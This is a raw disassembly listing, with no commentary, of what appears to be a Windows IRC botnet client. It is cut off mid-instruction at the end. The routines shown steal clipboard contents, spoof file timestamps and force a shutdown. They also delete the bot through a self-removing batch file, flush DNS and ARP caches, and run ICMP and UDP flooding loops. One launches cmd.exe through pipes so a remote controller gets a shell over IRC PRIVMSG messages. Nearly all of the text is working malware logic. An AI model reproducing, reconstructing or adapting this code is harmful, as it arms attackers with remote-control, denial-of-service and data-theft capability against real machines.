I N E ======================================= sub_40AABA proc near ; CODE XREF: sub_40EE51+5712p push esi push 0 call ds:dword_43C5E8 ; OpenClipboard test eax, eax jz short loc_40AAF1 push 1 call ds:dword_43C608 ; GetClipboardData mov esi, eax test esi, esi jz short loc_40AAF1 push edi push esi call ds:dword_423108 push esi mov edi, eax call ds:dword_423104 call ds:dword_43C66C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF1: ; CODE XREF: sub_40AABA+Bj ; sub_40AABA+19j xor eax, eax pop esi retn sub_40AABA endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40AAF5(char *Format) sub_40AAF5 proc near ; CODE XREF: sub_40EE51+48C0p Format = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call ds:dword_43C624 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40AB71 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_423114 push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_423000 push [esp+10h+Format] ; Format mov ebx, eax push ebx ; Dest call _sprintf pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_43C674 ; SendMessageA push esi push 1 push 4C9h push ebp call ds:dword_43C674 ; SendMessageA push ebx call ds:dword_42310C push edi call ds:dword_423074 push 1 pop eax pop ebx jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40AB71: ; CODE XREF: sub_40AAF5+16j xor eax, eax loc_40AB73: ; CODE XREF: sub_40AAF5+7Aj pop edi pop esi pop ebp retn sub_40AAF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB77 proc near ; CODE XREF: sub_40E68B+20Fp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_43C6D4 ; SearchPathA test eax, eax jz short loc_40AC16 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_423080 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC16 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_42311C ; GetFileTime push ebx mov ebx, ds:dword_423074 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC16 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_423118 ; SetFileTime push esi call ebx loc_40AC16: ; CODE XREF: sub_40AB77+2Aj ; sub_40AB77+51j ... pop edi pop esi pop ebx leave retn sub_40AB77 endp ; =============== S U B R O U T I N E ======================================= sub_40AC1B proc near ; CODE XREF: sub_40EE51+13B5p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41510E pop ecx pop ecx push 50005h push 6 call ds:dword_43C560 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_40AC1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC3D proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE51+59B7p Str = byte ptr -764h var_364 = byte ptr -364h Dest = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h Dst = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_42E5BC, esi push edi jz short loc_40AC61 cmp ds:dword_43C6E8, esi jnz short loc_40AC61 push esi ; Str call sub_40C1B0 pop ecx loc_40AC61: ; CODE XREF: sub_40AC3D+13j ; sub_40AC3D+1Bj call sub_416F11 lea eax, [ebp+Str] push eax push 400h call ds:dword_42312C ; GetTempPathA lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset aSdel_bat ; "%sdel.bat" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_423080 mov edi, eax cmp edi, esi jbe loc_40ADC1 lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push edi call ds:dword_423078 push edi call ds:dword_423074 push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_58] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_4397BC mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_4230FC push eax call ds:dword_423090 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_4230A4 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40AD69 lea eax, [ebp+var_15C] push 80h push eax call ds:dword_423128 ; SetFileAttributesA loc_40AD69: ; CODE XREF: sub_40AC3D+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+Str] push eax call ds:dword_423124 ; ExpandEnvironmentStringsA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_423120 ; CreateProcessA loc_40ADC1: ; CODE XREF: sub_40AC3D+72j pop edi pop esi leave retn sub_40AC3D endp ; =============== S U B R O U T I N E ======================================= sub_40ADC5 proc near ; CODE XREF: sub_4013E9+7p ; sub_40198C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40ADED push [esp+arg_0] call ds:dword_43C69C ; gethostbyname test eax, eax jnz short loc_40ADE6 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADE6: ; CODE XREF: sub_40ADC5+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADED: ; CODE XREF: sub_40ADC5+Dj retn sub_40ADC5 endp ; =============== S U B R O U T I N E ======================================= sub_40ADEE proc near ; CODE XREF: sub_40EB71+D6p mov ecx, ds:dword_43C540 xor eax, eax test ecx, ecx jz short locret_40ADFC call ecx ; DnsFlushResolverCache locret_40ADFC: ; CODE XREF: sub_40ADEE+Aj retn sub_40ADEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADFD proc near ; CODE XREF: sub_40EE51:loc_414515p Dest = byte ptr -88h Size = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+Size] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+Size], edi mov [ebp+var_4], ebx call ds:dword_43C694 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AEC3 sub ecx, 32h jz loc_40AEBC sub ecx, 48h jz short loc_40AE5D sub ecx, 6Eh jz short loc_40AE56 loc_40AE3F: ; CODE XREF: sub_40ADFD+8Bj push eax lea eax, [ebp+Dest] push offset unk_42CA5C ; Format push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40AE9D ; --------------------------------------------------------------------------- loc_40AE56: ; CODE XREF: sub_40ADFD+40j push offset unk_42CA28 jmp short loc_40AE8F ; --------------------------------------------------------------------------- loc_40AE5D: ; CODE XREF: sub_40ADFD+3Bj push [ebp+Size] ; Size call _malloc push [ebp+Size] ; Size mov esi, eax push edi ; Val push esi ; Dst call _memset add esp, 10h cmp esi, edi jz short loc_40AE8A lea eax, [ebp+Size] push ebx push eax push esi call ds:dword_43C694 ; GetIpNetTable cmp eax, edi jz short loc_40AEC3 jmp short loc_40AE3F ; --------------------------------------------------------------------------- loc_40AE8A: ; CODE XREF: sub_40ADFD+79j push offset unk_42C9E8 ; Format loc_40AE8F: ; CODE XREF: sub_40ADFD+5Ej ; sub_40ADFD+C4j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40AE9D: ; CODE XREF: sub_40ADFD+57j lea eax, [ebp+Dest] mov [ebp+var_4], edi push eax call sub_40BF6F pop ecx loc_40AEAD: ; CODE XREF: sub_40ADFD+C8j ; sub_40ADFD+DCj push esi ; Memory call _free mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEBC: ; CODE XREF: sub_40ADFD+32j push offset unk_42C9A8 jmp short loc_40AE8F ; --------------------------------------------------------------------------- loc_40AEC3: ; CODE XREF: sub_40ADFD+29j ; sub_40ADFD+89j cmp [esi], edi jbe short loc_40AEAD lea ebx, [esi+4] loc_40AECA: ; CODE XREF: sub_40ADFD+DAj push ebx call ds:dword_43C690 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECA jmp short loc_40AEAD sub_40ADFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEDB proc near ; CODE XREF: sub_401447+243p ; sub_401D79+268p ... Dst = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call ds:dword_43C5BC ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset byte_43C94C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi ; Dest call _sprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AEDB endp ; =============== S U B R O U T I N E ======================================= sub_40AF34 proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF5D mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF50: ; CODE XREF: sub_40AF34+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF50 pop edi jmp short loc_40AF61 ; --------------------------------------------------------------------------- loc_40AF5D: ; CODE XREF: sub_40AF34+Aj mov edx, [esp+4+arg_0] loc_40AF61: ; CODE XREF: sub_40AF34+27j test esi, esi pop esi jz short loc_40AF6B movzx ecx, byte ptr [edx] add eax, ecx loc_40AF6B: ; CODE XREF: sub_40AF34+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF81 proc near ; DATA XREF: sub_40EE51+2E6Co var_10320 = byte ptr -10320h Dest = byte ptr -344h var_144 = dword ptr -144h Str = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call ds:dword_43C5A4 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call ds:dword_43C658 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFDC lea eax, [ebp+var_C0] push eax call ds:dword_43C69C ; gethostbyname cmp eax, ebx jz short loc_40AFE2 loc_40AFDC: ; CODE XREF: sub_40AF81+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B03F loc_40AFE2: ; CODE XREF: sub_40AF81+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset unk_42CAD8 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B022 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_40D670 add esp, 14h loc_40B022: ; CODE XREF: sub_40AF81+7Fj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_30] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 loc_40B03F: ; CODE XREF: sub_40AF81+5Fj cmp eax, ebx jz short loc_40B04F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B052 ; --------------------------------------------------------------------------- loc_40B04F: ; CODE XREF: sub_40AF81+C0j mov [ebp+var_4], esi loc_40B052: ; CODE XREF: sub_40AF81+CCj push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B072 mov [ebp+var_3C], eax loc_40B072: ; CODE XREF: sub_40AF81+ECj cmp [ebp+var_38], edi jge short loc_40B07A mov [ebp+var_38], edi loc_40B07A: ; CODE XREF: sub_40AF81+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0A7 loc_40B081: ; CODE XREF: sub_40AF81+124j push [ebp+var_38] lea eax, [ebp+Dst] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call ds:dword_43C53C ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_40B081 loc_40B0A7: ; CODE XREF: sub_40AF81+FEj push [ebp+arg_0] call ds:dword_43C6D0 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset unk_42CA9C ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F0 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_40D670 add esp, 14h loc_40B0F0: ; CODE XREF: sub_40AF81+14Dj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_30] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 sub_40AF81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B10D proc near ; DATA XREF: sub_40EE51+2FC1o var_10311 = byte ptr -10311h var_10310 = byte ptr -10310h Dest = byte ptr -334h var_134 = dword ptr -134h Str = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_423054 ; GetTickCount push eax call sub_4172EE pop ecx push 11h push 2 push 2 call ds:dword_43C698 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+Dst], 2 push eax call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F2 lea eax, [ebp+var_B0] push eax call ds:dword_43C69C ; gethostbyname cmp eax, edi jnz short loc_40B1EB lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset dword_42CB4C ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1CE push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_40D670 add esp, 14h loc_40B1CE: ; CODE XREF: sub_40B10D+9Fj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_20] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 loc_40B1EB: ; CODE XREF: sub_40B10D+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1F5 ; --------------------------------------------------------------------------- loc_40B1F2: ; CODE XREF: sub_40B10D+6Ej lea eax, [ebp+arg_0] loc_40B1F5: ; CODE XREF: sub_40B10D+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B210 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B213 ; --------------------------------------------------------------------------- loc_40B210: ; CODE XREF: sub_40B10D+F0j push [ebp+var_24] loc_40B213: ; CODE XREF: sub_40B10D+101j call ds:dword_43C618 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B225 mov [ebp+var_24], esi loc_40B225: ; CODE XREF: sub_40B10D+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B232 mov [ebp+var_24], eax loc_40B232: ; CODE XREF: sub_40B10D+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B246 mov [ebp+var_28], esi loc_40B246: ; CODE XREF: sub_40B10D+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B267 loc_40B24D: ; CODE XREF: sub_40B10D+158j call _rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi+var_10311], dl jl short loc_40B24D loc_40B267: ; CODE XREF: sub_40B10D+13Ej ; sub_40B10D+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2C6 push 0Bh pop esi loc_40B274: ; CODE XREF: sub_40B10D+197j lea eax, [ebp+Dst] push 10h push eax push edi call _rand push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call ds:dword_43C67C ; sendto push [ebp+var_28] call ds:dword_423060 ; Sleep dec esi jnz short loc_40B274 cmp [ebp+var_24], edi jnz short loc_40B267 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_43C618 ; htons mov [ebp+var_E], ax jmp short loc_40B267 ; --------------------------------------------------------------------------- loc_40B2C6: ; CODE XREF: sub_40B10D+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset dword_42CB10 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B306 push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_40D670 add esp, 14h loc_40B306: ; CODE XREF: sub_40B10D+1D7j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_20] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 sub_40B10D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B323 proc near ; CODE XREF: sub_40B353+2Ap ; sub_40B38B+7Ep ... mov eax, ds:dword_43C964 push esi mov esi, ds:dword_423074 cmp eax, 0FFFFFFFFh jz short loc_40B337 push eax call esi loc_40B337: ; CODE XREF: sub_40B323+Fj mov eax, ds:dword_43C96C cmp eax, 0FFFFFFFFh jz short loc_40B344 push eax call esi loc_40B344: ; CODE XREF: sub_40B323+1Cj mov eax, ds:dword_43C960 cmp eax, 0FFFFFFFFh jz short loc_40B351 push eax call esi loc_40B351: ; CODE XREF: sub_40B323+29j pop esi retn sub_40B323 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B353(char *Str) sub_40B353 proc near ; CODE XREF: sub_40C353+14Ap ; sub_40EE51+4882p var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+Str] push ds:dword_43C968 call ds:dword_423078 test eax, eax jnz short loc_40B386 call sub_40B323 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B386: ; CODE XREF: sub_40B353+28j push 1 pop eax leave retn sub_40B353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B38B(int,char *Str1,int) sub_40B38B proc near ; CODE XREF: sub_40B412+D3p ; sub_40B412+F2p ... Str = byte ptr -200h arg_0 = dword ptr 8 Str1 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4397BC ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40B3CE push 7D0h call ds:dword_423060 ; Sleep push [ebp+arg_8] lea eax, [ebp+Str] push [ebp+Str1] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax ; Dest call _sprintf add esp, 10h jmp short loc_40B3E5 ; --------------------------------------------------------------------------- loc_40B3CE: ; CODE XREF: sub_40B38B+1Aj push [ebp+arg_8] lea eax, [ebp+Str] push offset aS_1 ; "%s" push eax ; Dest call _sprintf add esp, 0Ch loc_40B3E5: ; CODE XREF: sub_40B38B+41j lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call ds:dword_43C668 ; send test eax, eax jg short loc_40B40E call sub_40B323 loc_40B40E: ; CODE XREF: sub_40B38B+7Cj xor eax, eax leave retn sub_40B38B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B412 proc near ; DATA XREF: sub_40B567+170o Dst = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset byte_43C970 loc_40B42A: ; CODE XREF: sub_40B412+79j ; sub_40B412+DBj push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+Dst] push esi push eax push ds:dword_43C964 call ds:dword_423134 ; PeekNamedPipe test eax, eax jz loc_40B4F8 cmp [ebp+var_4], edi jnz short loc_40B48D lea eax, [ebp+var_8] push eax push ds:dword_43C960 call ds:dword_423130 ; GetExitCodeProcess test eax, eax jz short loc_40B483 cmp [ebp+var_8], 103h jnz loc_40B51C loc_40B483: ; CODE XREF: sub_40B412+62j push 0Ah call ds:dword_423060 ; Sleep jmp short loc_40B42A ; --------------------------------------------------------------------------- loc_40B48D: ; CODE XREF: sub_40B412+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A4 loc_40B494: ; CODE XREF: sub_40B412+90j cmp [ebp+eax+Dst], 0Ah jz short loc_40B4F2 inc eax cmp eax, [ebp+var_4] jb short loc_40B494 loc_40B4A4: ; CODE XREF: sub_40B412+80j mov [ebp+var_4], esi loc_40B4A7: ; CODE XREF: sub_40B412+E4j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+Dst] push eax push ds:dword_43C964 call ds:dword_423070 test eax, eax jz short loc_40B544 lea eax, [ebp+Dst] push eax ; int push ebx ; Str1 push ds:dword_43C9A4 ; int call sub_40B38B add esp, 0Ch jmp loc_40B42A ; --------------------------------------------------------------------------- loc_40B4F2: ; CODE XREF: sub_40B412+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4A7 ; --------------------------------------------------------------------------- loc_40B4F8: ; CODE XREF: sub_40B412+45j push offset dword_42CC0C ; int push ebx ; Str1 push ds:dword_43C9A4 ; int call sub_40B38B push [ebp+arg_0] call sub_417064 add esp, 10h push 1 call ds:dword_423050 loc_40B51C: ; CODE XREF: sub_40B412+6Bj call sub_40B323 push offset dword_42CBD4 ; int push ebx ; Str1 push ds:dword_43C9A4 ; int call sub_40B38B push [ebp+arg_0] call sub_417064 add esp, 10h push edi call ds:dword_423050 loc_40B544: ; CODE XREF: sub_40B412+C3j push offset dword_42CB94 ; int push ebx ; Str1 push ds:dword_43C9A4 ; int call sub_40B38B push [ebp+arg_0] call sub_417064 add esp, 10h push edi call ds:dword_423050 sub_40B412 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B567 proc near ; CODE XREF: sub_40C353+99p ; sub_40EE51+574Cp Dest = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h Dst = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B323 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_43C6D4 ; SearchPathA test eax, eax jz loc_40B661 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:dword_423140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_40B661 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_40B661 mov edi, ds:dword_42313C push 3 push esi push esi push offset dword_43C968 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_423138 test eax, eax jz short loc_40B661 push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_74] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+Dst] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_4397BC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_423120 ; CreateProcessA test eax, eax jnz short loc_40B669 loc_40B661: ; CODE XREF: sub_40B567+2Fj ; sub_40B567+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B717 ; --------------------------------------------------------------------------- loc_40B669: ; CODE XREF: sub_40B567+F8j push [ebp+var_4] mov edi, ds:dword_423074 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_43C964, eax mov eax, [ebp+var_8] mov ds:dword_43C96C, eax mov eax, [ebp+Dst] mov ds:dword_43C960, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov ds:dword_43C9A4, eax jz short loc_40B6A3 push [ebp+arg_4] jmp short loc_40B6A4 ; --------------------------------------------------------------------------- loc_40B6A3: ; CODE XREF: sub_40B567+135j push ebx ; Format loc_40B6A4: ; CODE XREF: sub_40B567+13Aj push offset byte_43C970 ; Dest call _sprintf pop ecx pop ecx push esi ; int push 7 ; int push offset dword_42CC90 ; Source call sub_416D48 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov ds:dword_442078[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B412 push esi push esi call ds:dword_42309C cmp eax, esi mov ds:dword_442084[edi], eax jnz short loc_40B715 call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset dword_42CC4C ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 10h loc_40B715: ; CODE XREF: sub_40B567+185j xor eax, eax loc_40B717: ; CODE XREF: sub_40B567+FDj pop edi pop esi pop ebx leave retn sub_40B567 endp ; =============== S U B R O U T I N E ======================================= sub_40B71C proc near ; CODE XREF: sub_407102+74p ; sub_40B8D3+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_423054 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, 